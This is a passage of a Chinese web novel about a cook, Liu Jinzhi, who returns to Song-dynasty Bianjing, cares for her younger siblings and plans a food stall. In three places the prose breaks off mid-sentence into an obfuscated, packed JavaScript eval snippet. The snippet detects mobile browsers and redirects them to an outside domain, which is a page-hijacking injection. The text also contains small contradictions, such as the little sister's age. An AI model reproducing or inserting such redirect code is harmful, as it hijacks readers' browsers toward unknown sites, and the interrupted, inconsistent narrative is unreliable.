两道菜都没有翻车，柳金枝擦擦汗，就将砂锅连带红泥炉子一齐搬到傅霁景那边去。 她做菜的时候，为了防止自己炭中毒，船舱里的门窗都是大开的，这些诱人菜香自然散的满船都是。 今个儿上午才买了姜辣羹吃的众船客此时一闻，五脏庙又按捺不住地闹起来，急急忙忙趴在窗口往外探。 我的天爷啊，这位娘子又在做什么大席？怎的就这样香！ 杏安也老早就闻见香味儿了，因傅霁景拘着不许他在外乱窜，怕坏了柳金枝名声，就直在舱里头急得团团转，每隔半刻就去舱口张望，口里念叨着：“哎呀，这位娘子怎么还不来呀？” 当真听见柳金枝来敲门时，更是喜不自胜，连忙跑去开门，对着她叉手一拜：“娘子里面请。” 柳金枝倒被他这般热情态度弄得有些摸不着头脑，但还是笑着回万福，将手中菜品递了过去，道：“郎君在里头，我就不进去了，这菜你端好，得趁热才好吃。” 然后就走了。 杏安几声没把人叫住，只能端着菜搁置在桌上，道：“郎君，这位娘子给我们做了好些菜，却不肯进来坐一坐，好歹让我奉她一盏茶。” 傅霁景将手中书卷成一捆，不轻不重地敲了杏安一下，温声道：“人家是未出阁的女儿家，怎能随随便便进我这个陌生郎君的舱门？人家将饮食放下就走，恰恰是知礼数。” 杏安不好意思地挠挠头，又忙指着饮食说：“郎君赶紧来用饭吧，正热咧！” “我每日要背三页书，现下才背了一页，饮食先放着吧，不着急。”傅霁景道。 “哦……” 杏安失望地应了一声，蹲到一边眼巴巴地盯着桌上两道菜，直看的口水直流。 见他这幅馋猫模样，傅霁景失笑，道：“你若是饿，就先吃，不必等我。” 杏安当即转喜，笑嘻嘻对傅霁景叉手一拜：“多谢二郎君。” 就赶紧拣了只小碗，率先从砂锅里扒了两筷子小米焖饭。 他可是一打眼就盯上这色泽鲜亮的饭食了！ 嗷呜一口吃下去，杏安险些把舌头都吞掉了半条，连句话都来不及说，只一味埋头扒饭。 筷子和瓷碗相撞发出叮叮当当的声音，叫傅霁景忍不住蹙了一下眉头。 结果杏安吃的太快，小米噎住了喉咙，惹得他赶紧扯过一只小瓷碗倒上羊汤，一仰头，咕噜咕噜灌了半碗。 感觉气通畅了，便又拣回饭碗，接着埋头扒饭。 这吃相倒叫傅霁景忍不住疑惑。 当真这么好吃？ 傅霁景的视线不由从书上移到杏安身上，只见一碗黄金焖饭，却撑不到半柱香的时间就被杏安吃了个干净，连一粒儿米也没剩下。而夹出来的羊肉、萝卜更是半点不剩。 吃了一顿饭，两只碗就跟没盛过东西一样。 “郎君。”杏安打了一下嗝，眼睛却犹盯着那些饭食，语气充满遗憾，“你书背完了吗？再不吃，这些个好东西可就要凉透了，多可惜啊。” 傅霁景看看剩下的书页，又望了下还剩下半份的吃食，以及似乎还能再吃一碗的杏安，迟疑半晌后，缓缓放下书卷—— “要不……我先用饭？” 4. 抵达汴京 傅霁景从没吃过这样味道的饭食，明明是普通的小米，为什么就能做到这样好吃？明明是同样的羊肉，这位娘子做出来的味道就是要比其他人更鲜美一些。 他从一开始只是简单试吃，到后面越吃越快，一顿饭食下来，直叫他吃的额头冒汗，脸颊红红。 当最后一口山煮羊汤被吞进肚子，傅霁景发出一声极满足的喟叹：“我当真是极少吃到这样的美味。” 杏安舔着嘴巴，惊奇道：“也不知这位娘子家中是做什么的？这般好的手艺，别说是在秦淮，就是在咱汴京也是排得上名号的。只可惜侯家不识人才，白白把这位娘子撵了出来。依我说，咱不如把这位娘子请回家去。” 虽然傅霁景着实被柳金枝的手艺惊艳到了，但他沉思片刻后，还是摇头拒绝：“不妥。” “为什么呀？” “去岁礼部尚书府的柴大人就因着和我们的姻亲关系，特意拨了两个厨子来家照顾饮食。加上本家的，家中已有五位厨子了。若再请了这位娘子，规格上可就要与几位王爷平起平坐了。” “朝中那些个御史大夫们本就因着父亲年不足四十五，而任户部尚书的事情多次进谏，只因父亲平时恭谨守礼才一直平安无事。这回要是给他们抓住不妥之处，父亲在官家面前该如何说嘴？” 杏安满眼失望，叹气道：“要是二郎这样说，那我们不是最多再吃上半个月，以往就再尝不到这位娘子的手艺了？” “缘来而聚，缘去而散，不必如此伤怀。”傅霁景道。 虽然他心中也颇为可惜，但相比于美食，还是谨守规矩更加重要。 杏安唉声叹气，却也无可奈何，心中只预备着将每日的饭食都吃个干净，也好最后祭一祭自己的五脏庙。 却不知柳金枝本就打算回汴京支小摊儿，兜售姜辣羹只是第一步，第二步她就预备着每日多做一些吃食，争取在船上就拉拢一些食客。 于是不消三天，满船皆知有位柳娘子，家住汴京新曹门边儿上，厨艺十分了得。因预备回汴京盘下一个小摊儿卖吃食，所以在船上先做试卖。 若船上的食客们吃的好，想要与这位娘子做长久生意，就去新曹门的胡同口寻一处“柳记饭馆”。 要是能带上新客一起光顾，还能给你打九折！ 这可把杏安高兴坏了，急急忙忙来问柳金枝具体去何处寻她。 柳金枝摸了摸下巴：“新曹门外的胡同里还不够具体么？” 杏安道：“柳娘子，你怕是一直待在秦淮不知道汴京的变化。” 一涉及到吃，杏安比平常精明多了，很快就点出柳金枝的问题：“新曹门外又不止一个胡同，难道你要叫食客们走街串巷似地去找你吗？” 柳金枝承认这确实是一个问题。 原主被卖入孙府后就一直待在三娘子身边，后面又跟去了秦淮，许多年没怎么在汴京的街上漫步过了，对于汴京也不算了解。 “杏安小哥，你与我不同，你是长久的在汴京，定然有法子帮我。”柳金枝对着杏安笑，“若事儿能成，我请小哥你吃笼热乎乎的酸馅儿包子。” 一听说有吃的，杏安顿时两眼发亮，把胸脯拍的啪啪响，豪气道：“娘子你且安心，我有办法。” 就俯身过来，对着柳金枝耳语了一阵。 柳金枝听罢，笑着对杏安万福：“多谢小哥了，晚些时候我就把包子送去。” 杏安点头不迭，乐呵呵地回转了。 原来杏安是将自己在汴京城里的一位朋友介绍给了柳金枝，并号称他人脉广，三教九流的无不认识，保管能为她寻一处敞亮又显眼的地方支摊子，让那些从船上寻过来的食客一打眼就瞧见。 这话若是从旁人嘴巴里说出来，柳金枝自是不信，但杏安毕竟是傅霁景身边的人，她还是信一两分。 于是当晚就将包子做好了送给杏安不提。 为了避免河水结冰严重影响漕运，船只全速向前，不消半月，已经隐隐靠近汴京。 等到日头最盛的时候，船即将靠岸。 船老大和船伙计招呼着船客们依次分批下船，柳金枝是乙字号，还要稍待，干脆坐在自己的船舱里，从窗口朝外望。 漕运码头口一片拥挤繁华，灿烂的冬日阳光洒在波光粼粼的水面，如同给波纹镀上一片金光，碎冰在河面上下起伏，像是坠入水面的金子。 衣着光鲜的船客才下肩舆，怀里揣着汤婆子，倚在石栏边张望下一班船只。脚夫们赤裸上身伏起笨重行李，一步深一步浅走在跳板上，脸上淌满热汗。 再远处，厚重的白雪尚且覆盖着灰色屋瓦，大片小片连在一起。楼栋房屋鳞次栉比，市井人家，烟火繁盛。凡井水饮处，人声鼎沸，欢声笑语不绝。 这就是汴京城，整个宋朝最最繁华的所在。 难怪孟元老时隔多年都无法忘怀这一盛况，人到晚年还挥墨泼毫写下《东京梦华录》一篇，以此纪念往昔。 当真是东京繁华迷人眼呐。 隔窗望了会儿，舱门被人敲响，是船伙计来通知柳金枝下船了。 柳金枝背起包袱开门。 门外站着的除了船伙计，还有个模样憨厚老实的青年汉子。 船伙计道：“这是我给娘子寻的脚夫，信得过，娘子有什么的尽管交与他驮下船。” 柳金枝点点头。 脚夫就与柳金枝见礼，埋头进了舱扛行李。 船伙计却没走，反而又从怀里摸出一只精致茄袋，递过来，道： “这是甲字号一位傅姓郎君叫我转交给娘子的，说是这半个月来的伙食费一发算与娘子。因着他们有事儿早一步下船，所以没法儿当面告劳娘子辛苦，还望娘子不要见怪。” 柳金枝惊讶，接过茄袋打开一瞧，发现里头竟然放了三两银子，也就是三千贯。 但这些日子的食材是对方出，她费的不过是些佐料，花不得什么钱。 再说了，她做吃食本就是为了报恩，可这么一算，她报恩报到最后反多得了二两多钱。 柳金枝难得有些脸红。 但她正是用银子的时候，这钱既然送到手边，便不得不收。 心中对傅二郎遥遥告了声谢，柳金枝腆着脸收下茄袋，又取出十来文谢了船伙计，这才下了船。 宋朝时畜牧业不发达，反映到人们的生活中就是不仅羊肉贵，而且没有好马。就算有好马，也是紧着权贵使用，普通市民则大多都用驴车。 因此租赁驴车的铺子到处都是，柳金枝不废什么力气就找到了一辆，驮着全部行李从开远门进。 整个汴京城分外城和内城，外城的城门内外又额外修有翁城三层，每层瓮城大门互不相对，留有空隙。 这种设计使得汴京城的城墙异常厚实，能够有效抵抗外敌入侵。 进了开远门就是万胜门内大街，两边是西水门鱼街和西浮桥，街面上行人来来往往，络绎不绝。 有的挎着篮子正要去太和宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柳金枝回过头来，从记忆里找出妇人的名字，笑道：“黄婶儿，是我，没想到这么多年过去了，你还记着我。” 得了肯定的回答，黄婶儿赶忙对另几个扫雪妇人招手，高兴喊道：“快来快来，金枝回来了！” “什么？是金枝？！” “哎哟，该有许多年没见着她了。” …… 几个妇人将柳金枝围成一个圈，七手八脚地替她拍去身上的雪。 “你这傻孩子，怎么专挑在大雪天回来？” “瞧瞧这手都冻僵了，快去我哪儿烤烤火。” 还有个婶子不说话，只搓热了手把她握住，暖呼呼的温度直流淌进柳金枝心里去。 她记得这些婶子都是跟柳家关系好的，也是看着她长大的，算起来，这些婶子都该是她的长辈才是。 “我的奴契到期了，自然就回来了。”柳金枝笑着回答。 “唉，你回来可就太好了，你都不晓得那两个孩子吃了怎样的苦！” “你那黑心的舅舅、舅妈自个儿卖假药，反被人抓住告到官府，没奈何赔了银子，就想着另赚补贴。” “你舅妈就把两个孩子扫地出门，空出来的屋子挂牌租赁出去！又不许他们在这老屋，怕少一份租金！” “寒冬腊月里，这两个孩子没个地方吃，没个地方睡，全靠胡同里这些个邻里乡亲接济。但大家也没有多富余，也只能勉强养活，却吃不上一顿饱饭。” “这两个孩子可能是饿狠了，没忍住偷了王记的包子。结果王老板报了官，昨个儿双双被抓到军巡铺去了。被判了笞刑，现下正在行刑咧！” 5. 一双弟妹 宋朝的军巡辅就相当于现代的公安局，但比公安局常见，每隔三百步就设立一处，有五个辅兵，凡是宋朝律法严令禁止之类，如偷窃、打人、拐卖等等都归他们管。 虽然事务繁忙，但效率很高，等到柳金枝赶到时，判受笞刑的一批人犯已经行刑完毕。 落满白雪的刑场一片哀嚎，大多都是些十二三岁的少年，衣不蔽体，形容狼狈。 只有一个脏兮兮的小妮子跪坐在刑场最角落的地方，约莫五六岁光景，脸色蜡黄，小脸瘦削，格外显出一双大眼睛，就像一只瘦脱了相的猫儿。头上胡乱扎着两个小髻，瘦削的肩膀上还披着一件明显不符合她年龄的破旧棉衣。 她推着倒在脏地上昏迷不醒的少年，啪嗒啪嗒往下掉眼泪，哭道：“哥！哥！你醒醒啊！” 柳金枝一怔，走了两步上前看清了小妮子的脸。 虽然比起记忆里的襁褓婴孩，此时小孩的眉眼显得更加陌生，但她还是一眼就认了出来，这就是她妹妹柳月牙。 那么地上的这个人，就该是她十二岁的弟弟柳霄。 依照宋朝律法，犯偷窃罪者十岁以下家庭教育即可，十岁以上才执行笞刑。 所以那些鞭子全都甩在了柳霄身上，打得少年皮开肉绽，单薄的衣服一条条裂开，露出一截更为瘦削的苍白背脊。 饶是如此，他的手还紧紧攥着妹妹的手，安慰着她别怕，好似哪怕走到了绝路，也要尽全力站起来挡住妹妹面前的风雨。 柳金枝心中不忍，放轻了声音：“阿霄，阿月，我是大姐，我回来了。” 柳月牙哽咽着抬起脸来，泪水充盈的眼满是迷茫，像是根本记不得柳金枝了。 也难怪，柳家败落，柳金枝自卖进孙府的时候，柳月牙才不到一岁，哪里会认得什么人？ 但现下也不是多解释的时候，柳金枝瞧见躺在脏地的柳霄嘴唇惨白，脸却烧得通红，额头冷汗涔涔，眼皮紧闭，根本不省人事。 不能再耽搁下去了。 柳金枝直接上前一步搂住柳霄，将人抱起来时，才惊觉少年身体之轻，简直到了只剩一把骨头的地步。 更何况少年冷到极致，已经开始打摆子。 就像一只即将死亡的小猫，在生命的最后发出一点微弱呼唤。 柳金枝倒吸一口凉气，也管不得柳月牙对她还不能完全信任，直接一手搂紧柳霄，一手扯着哭嚎挣扎的柳月牙直奔医馆而去。 也是老天有眼，医馆的坐镇大夫正好在，粗略诊脉后，沉吟道：“孩子身上的外伤倒是不打紧，问题在于他身体孱弱，底子空虚，可见是长久的不食荤腥，邪风一入体就起了高热。” 柳金枝不由忧心地蹙起眉头。 大夫道：“但也不用过于担忧，待老夫开一副方子，娘子回家熬成浓浓的一碗给他吃，以此驱寒。往后再吃些好的将养着，这底子也能再养回来。” 柳金枝这才松了一口气，放心地跟着医馆学徒去抓药。 汴京药材价贵，几剂伤寒药并上几剂补药，加在一起足足要了她二两多银子，正好对上傅霁景给她的数额。 唉，看来靠不劳而获发不了财，她还是得勤勤恳恳凭手艺赚钱。 柳金枝叹了口气，低身将柳霄背在背上，转身时，一只小手却不知从何处伸来默默抓住了她的衣角。 低头一看，柳月牙已经擦干了脸上泪痕，正仰着一张小脸望她，拘谨又生疏地唤了声：“阿、阿姐。” 这孩子态度转变太快，倒叫柳金枝摸不着头脑，笑道：“你怎的现下就认定我是你阿姐了？你就不怕我是拍花子，要将你和你哥哥一同拐走？” “拍花子不会管我们的死活，但你管，还掏银子给哥哥治病。”柳月牙的大眼睛闪烁着聪慧倔强的光，“而且我听黄婶子说过，我和哥哥确实还有一个大姐姐，只是很早以前就离开了汴京，只有哥哥见过她。” 大概这小家伙方才看见柳金枝摸遍全身掏银子，也要给柳霄看病的狼狈样儿才得出了这个结论。 柳金枝心中软了一下，摸摸她的小脑袋：“你是个聪明孩子。” 二人踏着雪往家的方向走。 早年原主将柳家挂牌租赁给了来往科考的学子，如今房子里还住着人。 即便柳金枝告知了自己不再出租的打算，这家学子也赶不及搬出去，只能先勉强腾出一间狭小的偏室给三个人暂作落脚之地。 室内连个像样的炭盆都没有，冷的仿佛要结冰。 柳金枝让月牙暂时照顾柳霄，自己跑去左邻右舍借了一圈，才勉强凑够一些生活用具。 把炭盆生起来后，红彤彤的火舌总算让屋子多了一丝暖意。 而回头看，柳霄被月牙裹在被子里，不知什么时候竟然醒了，正面前支起身体，睁着一双黑沉沉的眼看她生火。 姐弟两个多年未见，总有些生疏。 柳金枝主动道：“霄哥儿，还识得我么？” 面对苍白狼狈是少年，她温声软语，又上前两步想要去探少年额头温度。 只是手才伸出去，却叫少年猛一下躲开了。 柳金枝的手落了空，尴尬地悬着未动。 月牙就拉拉柳霄，低声说：“哥，这是大姐，她回来看我们了。” 闻言，柳霄还是不说话，反而推开月牙的手，重新躺回被窝里，背对向所有人。 柳金枝不由抿了抿唇。 在她的记忆里，柳霄最喜欢的便是她。 小时候，无论她去哪里，身后都会跟着一个胖乎乎的小豆丁，明明奶声奶气的连句话都说不全，却还屁颠屁颠地扯着她的衣角唤“阿姐，阿姐”。 尝过一口的果子，只要觉得好吃，就会高高兴兴再拿一个新的，如珍似宝般塞给她。 等稍大些了，得知她最怕狗，就天天拿着根树枝出去行侠仗义。 那段时间胡同里的恶犬都被柳霄折腾了一遍。 一次她路过，还瞧见柳霄跟一只野狗打作一团。她赶忙上前拉了，才发现这狗就是近来吓哭她的那只。可被柳霄打了一顿，再看见她也只嗷呜嗷呜地唉叫个不停，再不敢放肆。 小小的柳霄叉着腰，满脸是伤，却又十分自豪地说：“姐，你瞧，我能护着你！” 但这么个心心念念记挂着她的小人儿，却在得知她要离开汴京时狠狠咬了她一口。 那天柳霄来送行。 孙府里头敲锣打鼓，新娘子马上就要出门，所有流程紧锣密鼓般安排着，她作为陪嫁丫鬟，忙的仿佛要窒息。 可因许久没见过弟弟，她挂念的很，最终还是苦苦央求了府内的管家老婆，才得了一时半刻的喘息时间，赶出来和柳霄说说话。 柳霄穿的粗布麻衣，脸上也有些脏，低着头，闷声问：“阿姐，你又要走吗？” 她满眼愧疚，点了下头：“嗯。” “那、那我和月牙能不能跟着你一起走？” 她轻轻摇头：“不可以，秦淮那么远，我又要在小姐身边随侍，腾不出手来照顾你们。你们就在汴京待着，有舅舅、舅妈照顾，我心里也安心。” 少年红了眼眶，哀求说：“求求你了，阿姐，我能照顾自己和月牙的。” 她还想说什么，可耳边喜乐声更加高昂，墙内也响起了管家婆子催促的声音。 “霄哥儿，你听话！”她不得已要走。 柳霄却哭着拉住她：“阿姐！你为什么就是不肯带着我们？我们是不是成了你的拖累，让想要丢下我们！” “霄哥儿，我从没有这样想！”她瞪大眼睛。 “那你就不要去秦淮！我讨厌舅舅，讨厌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458079|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舅妈，我要你回来！” “霄哥儿闭嘴，你怎的这么不懂事？！” 她生气。 管家婆子走出角门来催她：“怎么还不进来？小姐就要出门了，正寻你呢！” “就来。”她大声应着，又要走。 柳霄却在这个时候猛然扑上来，狠狠咬了她小臂一口。 她一时吃痛，忍不住打了柳霄一掌，人摔在了地上，扬起一片灰，却倔强地瞪着一双泪红眼看她。 “霄哥儿……” 她下意识想去扶，柳霄却一股脑爬起来拼命跑远了。 管家婆子很惊异：“这个脏兮兮的小人儿是你家弟？怎的咬你一口？” 她低头看着小臂上那道鲜红深刻的牙印，心绪懊恼又纷乱，却只偏过头，泪中带笑：“嗐，小孩子不懂事，长大他就明白了。” 但是长大以后的柳霄，现在只用瘦削的后背来面对他的阿姐。 柳金枝吐出一口气，对月牙道：“你们应该饿了吧？我先去做饭，顺便把药煎上。” 月牙仰着脸看她，道：“阿姐会做饭？我听黄婶子说，阿姐以前在家里做饭常常烧锅坏灶。” 原主确实不怎么会做饭，而且也不爱做饭，整个柳家都知道，所以家里的饭食都是柳母和柳霄准备。 柳金枝随口解释：“后来学的。” “是向膳工们学的吗？” “嗯。” “他们凶吗？” 柳金枝回忆了一下侯府里的那些个一脸横肉的膳工，点头：“很凶。” 身后的被窝忽然动了一下。 柳金枝没发现，端着炉子去外边烧火。 月牙跟在柳金枝后头。 面对这个新回来的大姐，月牙既新奇又好奇，于是追着柳金枝问汴京之外的事。 柳金枝见小孩子喜欢听这些，就将自己在秦淮侯府里多年生活一一讲给她听。 很多在柳金枝看来司空见惯的事儿，都要引起月牙一阵惊呼。 柳金枝不由觉得月牙可爱。 只是讲着讲着，门后不知何时站了个清瘦的影子。 在听到柳金枝轻描淡写地讲，被赶出的侯府经历，那场冻坏人的夜雪，长久立在门框处的人终于开口，声音嘶哑又饱含恨意： “他们竟敢这么欺负你？！” 柳金枝一愣，转身看过去，柳霄脸色惨白，手还紧紧扣住门框，明显是强撑一口气站着，却倔强地盯着柳金枝，似乎定要讨个答案。 “都过去了，我也没死。”柳金枝走过去将人扶住。 “那也不像话！”柳霄剧烈咳嗽起来，惨白的脸上浮现一抹酡红，却仍喘着气，“他们这样草菅人命，就是欺负你身后无人又老实！要不是咱家败落了，也不至于让你吃这样的苦。” “以后时间还长，且看吧，他们不会一直得意的。”柳金枝拍拍他的肩膀，“再说了，我现在回来不是更好？带着你们一起过好日子，重新在这汴京落地生根。” 柳霄怔愣了一瞬：“你、你不走了？” “嗯，从今以后都不走了。” 柳霄眼眶刹那间泛红，却又僵硬地偏开头，哑着嗓子说：“随你，就怕到时候你受不住，又卷了包袱去了。” 尔后转过身躺回了床上。 柳金枝笑了下。 当年的不愉快是因为双方各有苦衷，她能理解柳霄。而柳霄虽然嘴硬，心里却也还念着她这个阿姐。 只要家人齐心，就不愁过不好日子。 “月牙，想吃什么？”柳金枝心情舒畅，笑眯眯地低头问。 月牙咽了口唾沫，两眼发亮的说：“拨鱼儿！” “好！” 柳金枝撸起袖子，从行囊包袱里取出一应材料。 起锅！开整！ 6. 汴京第一帮闲 临近午时，采莲胡同里的妇人们都停了手中活计，在家中暖酒用饭。 街上无人走动，却有一帮闲溜溜达达进了胡同，到院子里头来，停靠在柳家旧宅门首。 有个守门的小厮见了这帮闲，笑道：“应大哥怎的有功夫来这里走走？” “你这小猢狲，你哥我哪日不来瞧瞧你家轩哥儿。”应天爵穿着皮袄，拢着袖子，“若不是怕打搅了他温书应举，你哥我早带着你们出去寻快活了，还让你在这门首干守着？” 小厮对着他叉手一拜，笑道：“多谢应大哥惦记，轩哥儿这会子正用饭呢，您也请进去吧。” 应天爵笑嘻嘻地往里走，余光却瞥见他们偏室前大大小小堆满了麻袋、箱笼。 除却从其中几只精致的檀木小箱子，可以看出是未出阁女儿家的物件儿，其余的麻袋里竟然都装着各式调料吃食，倒像是采莲胡同小院儿里搬进来位膳工。 “这又是哪位？”应天爵问。 “嗐，是这宅子的原主，说是他们也急着住房，所以租完这一季就不再挂牌子了，还催咱们快点找下一季的宅子呢。”小厮说，“也是轩哥儿心善，听他们无处可去，还腾了一间偏室与他们住了” “哪儿有这般道理？寒冬腊月的，最不好找干净宅子了。”应天爵脚步一转，“你且让我与她去说道说道，可不能让轩哥儿吃了这亏！” “欸，应大哥，应大哥！” 小厮拉了几下没拦住，又怕惹出是非，只好赶紧去告诉轩哥儿。 而应天爵几步走到偏室门口，只见门虚掩着，干脆一脚踹开，正要嚷嚷一句“叫当家的出来和我说话”，却迎头被一股香味儿打了一闷棍，下意识往饭桌上看去—— 一大碗大头小尾巴，状似小鲫鱼的面片儿汤。 面汤看起来乳白，泛着金黄油光，又撒了一把葱花，颜色鲜亮。面片儿劲道弹牙，在汤中沉沉浮浮，像鱼戏溪水。似是刚捞出来一碗，此时正是热气腾腾的时候。 桌边坐着个六岁光景的小妮子，正就着汤碗狼吞虎咽，那呼噜呼噜的吸面声，光是听着就叫人流口水。 正值饭点，应天爵还没用饭呢，五脏庙不由得闹起来，找人麻烦的心思一下子散了一半。 可他这突然闯进，叫屋子里几个人都瞪大了眼睛，还以为是大白天遭了强盗。 柳霄咳的撕心裂肺，却将喝了一半的药碗一搁，站起来就要跟去跟应天爵拼命。 谁知柳金枝比他更快，操起一把菜刀冲到应天爵面前，美目圆睁，厉声喝道：“哪里来的贼子？！大白天的也敢光顾你姑奶奶的门首！” “娘子手下留情！”应天爵被唬得大跳一步，“莫要误伤好人！” “好人能在大白天踹人家门？”柳金枝将一双弟妹牢牢护在身后。 柳霄则一边将月牙抱在怀里，一边注意着柳金枝。预备只要应天爵乱来，他就扑上去咬住应天爵的胳膊，撕下他一块儿肉来！ “我这脚是鲁莽了些，这厢与娘子赔个礼，但我只想替我兄弟与娘子再谈谈房屋租赁的事儿。” 应天爵倒不知市井娘子竟然都泼辣到了这般程度，一时被震住了，脸上连忙挂起笑。 那边项志轩也赶忙过来，替应天爵赔了个不是，又与双方做介绍，这才知道原来这应天爵乃是汴京第一帮闲。 平日正经事不做，专司与大贵族、大官僚们、富人等消遣玩乐。 又因他脑筋灵活，嘴皮子利索，人脉又广，往上甚至还能与某个王爷说两句话，在汴京这一片吃的很开，没人不卖他个面子。 不过应天爵倒不怎么摆谱，该怎样还是怎样，自上次解试碰见名列前茅的项志轩，与人结了把子后，就常来采莲胡同这里走动。 如此，柳霄便明白应天爵是见项志轩有才，故意结交。这回踹门，也是为了拿他们做筏子，演给项志轩看的，也好叫这读书人知道应天爵是真拿他当兄弟。 当下脸色就难看起来。 倒是柳金枝知晓了应天爵姓名以后长眉一挑，语气竟然转为温和：“恁个说是一场误会。” 将菜刀往身后一藏。 “奴怕是吓着两位了，正好舍下已备着一桌饭食，若不嫌弃，还请两位进来用，席间再谈房屋租赁的事儿。” 应天爵求之不得，拉着项志轩就往里坐，柳金枝给二人捞面。 项志轩一开始还不怎么好意思，但见柳金枝用长柄铁勺舀起一片面糊，再用小勺子沿着边缘往滚水里拨，每拨一片儿，都是大头小尾巴状似小鲫鱼的面片儿，面食香气随着蒸腾水汽直往人面上扑。 等面片儿煮熟之后过凉水，再盛在一个小瓷碗里，撒上小葱花，淋上几滴石磨香油，再辅以老抽、香醋、白盐拌匀，最后浇上一勺浓浓的高汤。 这香气勾的人食指大动，叫项志轩连不好意思也忘了，接过碗，道过谢，就埋头苦吃，就算是烫了舌头也顾不得。 应天爵更是吃的鼻尖冒汗，脸颊通红，呼噜呼噜喝扒完一碗后又叫一碗。 柳霄见他们跟饿死鬼投胎似的，磨了磨牙，正要说话，柳金枝却将他拉一拉，示意算了。 “你还没吃呢！”柳霄愤愤不平。 柳金枝心中一软，摸摸少年柔软的发顶：“等下吃两个包子垫垫就好。” 柳霄又气闷的不说话。 待到应天爵与项志轩两个吃完，两个各是满足的喟叹一声。 应天爵道：“难得有这么好吃的拨鱼儿，娘子的手艺当真是一绝，为何不去开个饭馆做生意？就是怕没有本钱，也可先支个小摊儿做着，不怕将来没有发达的一天。” “我正是这样想着呢，奈何不太熟悉汴京环境，一时间不敢动手。” 柳金枝微笑。 “好在返程途中奴有幸遇着位小哥，名唤杏安，乃是傅府的家人。他与了奴口信，叫奴到了汴京便去寻一位叫应天爵的先生帮忙，定然能够在汴京站稳脚跟。” 原来当初杏安给柳金枝推荐的，那位三教九流都认识的朋友就是应天爵。 应天爵抚掌大笑：“原来是傅二郎身边的杏安小哥，我与他也是老交情了，这一回可谓是大水冲了龙王庙，一家人不认一家人了，这个忙我定然帮！” 又因杏安是傅霁景身边得脸的小厮，而傅霁景出身又格外了得，应天爵有心巴结拉拢，于是将项志轩介绍给柳金枝，让柳金枝唤声项大哥，又自个儿亲亲热热唤柳金枝一声柳妹子，把关系喊的更亲近不提。 饭毕，送了项志轩回自个儿房，应天爵坐下与柳金枝细聊：“柳妹子，汴京城里是天子脚下，到处都是规矩。你若是要做饭食生意，就得入食饭行。” 所谓食饭行，就是当地餐饮行业自发成立的行业协会。 无论是开大酒楼、小饭馆还是支小摊儿的，哪怕只是挑着个担子，如武大郎一般走街叫卖炊饼，也得先入了食饭行再说，否则就算没有营业资格。 当然，入了食饭行也是好处多多。 很多新手小白刚入行不懂规矩，食饭行里的一些“行老”就会手把手的教，如在何处地方摆摊？与食客发生矛盾了怎么办？若被食客讹了该如何处理？诸如此类。 而官府出台了什么新政策，食饭行也会第一时间通知，不叫各个生意人吃亏。 “妹子你要是来得及，咱们今个儿就去食饭行挂名、缴钱，到明个儿你就能支摊子摆卖。”应天爵笑说，“正好我在食饭行也识得一行老，就叫他替你谋个吉利摊位，保管你客似云来！” 柳金枝听了，高兴拜谢，道：“多谢应大哥，只是今日还是太过仓促，待到明日我将一应食材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夜市就不一样，宋朝没有宵禁，又取消了市、坊隔离，就算在夜市上卖到凌晨都没人管你，赚得自然就比早市多。 可是相应的，夜市卖的时间长，准备的柴火、菜蔬、清水等等东西都要在朝食的基础上翻一番。 没有一定的本钱也盘不下来。 柳金枝只能一步一步来。 “明日一早，咱仨就去找隔壁黄婶子借个独三轮儿，去早市里买些新鲜菜蔬、面粉、小麦以及一应调料。” “午间我再去食饭行挂名、缴钱。等我取了牌子回来，咱们就在院子里做吃食，预备着明早去卖。” “以汴京的物价，只要咱们勤恳努力，日子一定能越过越红火。” 柳金枝对未来还是充满希望的。 月牙眼睛越听越亮，小脸上全是向往。 “但在此之前，阿姐得给你们一人置办几身像样的衣裳。”柳金枝把月牙和柳霄拉到怀里拢着，温柔又细致，“冬日这般冷，小心冻坏了。” 柳霄耳尖微红，别别扭扭地偏开头，道：“要做就给月牙做吧，我不要。” “为什么？”柳金枝歪头笑。 柳霄气道：“你才攒了多少银子？就这样花销。汴京城里物价贵，普通人一天也就赚个百来文，但买斤肉就要花三、四十文，菜蔬瓜果便宜些的也要十几二十文……” 他恨不得掏出个算盘来算账，像个古板的账房先生。 “所以，要是明日不够买菜就惨了，能省则省。再说了，我是男子汉，抗冻，一点儿都不怕冷。” 可他冬日里还穿着单薄春衫，以至脸色苍白，嘴唇也没什么血色，手冷的像块铁。 “赚银子就是用来花的，我偏不省，就要给你买！”柳金枝抱起月牙往外走，笑嘻嘻地说，“我还要一人买两件，月牙你说好不好？” 月牙抿嘴笑，偷偷看柳霄的表情。 柳霄一张脸气成河豚，却又不得不跟上，只是看柳金枝的眼神仿佛在看一个“败家子”。 小小年纪却老气横秋，叫柳金枝和月牙偷偷相视一笑。 走咯，买衣服去。 7. 砂锅辣子水滑面 花了百来文钱给柳霄、月牙一人买了两身成衣，天色也晚了。 虽然宋朝取消了宵禁，百姓大可在入夜后尽情逛夜市，但奈何柳金枝囊中羞涩。 毕竟粗略一算，即使是加上在客船上挣得银子，她手里也才一千贯左右。 可要省着点花。 于是三人默契地穿过热闹夜市回到采莲胡同，闭口不提逛街一事。 而柳家旧宅里，项志轩因应天爵嘱咐照看着些柳金枝，便遣身边小厮勉强收拾了一间侧室出来，又将厨房的备用钥匙给了柳金枝，叫她随意用着。 这种好事柳金枝自然多加拜谢不提。 于是当夜就拣好床铺，叫柳霄一个人睡一间，月牙与她同寝。 月牙才八岁，却在一岁左右就殁了双亲，柳霄只能勉强养活二人，一些良好的生活习惯却是顾不得。 